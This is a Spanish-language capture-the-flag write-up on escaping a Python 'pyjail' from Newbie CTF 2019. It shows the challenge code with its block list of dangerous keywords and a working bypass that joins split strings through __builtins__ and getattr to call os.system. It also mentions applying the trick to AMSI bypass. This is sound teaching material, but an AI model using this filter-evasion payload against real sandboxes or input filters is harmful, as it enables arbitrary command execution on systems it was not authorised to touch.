Hace rato tenía ganas de echar mano a un Pyjail, y Googleando encontré algunos write-up, así que trataré de resolver éste de Newbie CTF 2019, al mismo tiempo que voy escribiendo.
Está publicada la solución, aunque la idea es no usarla; quiero desmenuzar el código y encontrar una solución diferente:
#!/usr/bin/env python3
''' Your job is escape this program and get /bin/sh '''
def main():
print("Hi! Welcome to pyjail!")
print("========================================================================")
print(open(__file__).read())
print("========================================================================")
print("good luck.")
data = input('> ')
for keyword in ['import', 'os', 'system', 'open', 'read', 'write', 'eval', 'exec']:
if keyword in data:
print("No hack")
return;
else:
exec(data)
if __name__ == "__main__":
main()
A primera vista, veo que el código no está programado de forma rigurosa, es decir, por ejemplo, no hay control de errores:
Además, hay un ; en el return de la línea 20, y como esto es Python y no PHP, no sé qué hace allí, así que decido modificar el código 😇. El resultado:
#!/usr/bin/env python3
def main():
while True:
print("\nHi! Welcome to Pyjail!")
print("Your job is escape this program and get /bin/sh or read the flag.txt")
print("========================================================================")
print("Type Ctrl+c to quit the challenge. Good luck!\n")
data = input(">>> ")
try:
for keyword in ["import", "os", "system", "open", "read", "write", "eval", "exec"]:
if keyword in data:
print("[-] No hack!")
main()
else:
exec(data)
except Exception as e:
print("[-] ",e)
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\nGood Bye!")
exit()
Lectura e Interpretación del Pyjail
El script trata sobre un for loop basado en una lista cuyos elementos son los strings de las principales funciones de Python con las cuales se podría realizar alguna clase de inyección. Sin embargo, ninguna de estas funciones puede ser utilizada.
["import", "os", "system", "open", "read", "write", "eval", "exec"]
Por otro lado, si logramos inyectar una rutina válida, será ejecutada mediante la función exec() usando la variable data.
exec(data)
Información de Apoyo
- https://book.hacktricks.xyz/misc/basic-python/bypass-python-sandboxes
- Googlear y buscar la publicación de otros CTF
Solución: uso de strings como nombres de función
Después de leer muy a la rápida la información de apoyo, probé algunas rutinas y ninguna funcionó. Deduje, entonces, que debía probar la función exec() y no perder el tiempo dando palos de ciego:
Estas 3 formas de bypassear la restricción del Pyjail, me hicieron pensar en algo que he implementado en varios programas: utilizar un string como nombre de función.
- Una discusión interesante sobre el tema: https://stackoverflow.com/questions/3061/calling-a-function-of-a-module-by-using-its-name-a-string
Entonces, considerando las pruebas de bypass que hice con la función exec(), y el acceso a __builtins__, creo la siguiente rutina a partir de la información de apoyo, usando la función getattr() (built-in function):
ctf = __builtins__.__dict__["__imp"+"ort__"]("o"+"s")
pyjail = getattr(ctf, "sys"+"tem")
pyjail("ls")
Conclusiones
- No necesariamente hay que estar ahí, en el evento, para situarse en el contexto e intentar resolver un desafío
- Estas mismas rutinas se usan con PowerShell para bypass de AMSI, así que es probable aplicarlo con otros lenguajes para contextos diferentes
- Creo que pese a lo rebuscado del CTF, eventualmente estas ideas de kaking podrían usarse para zero-day y CVE hunting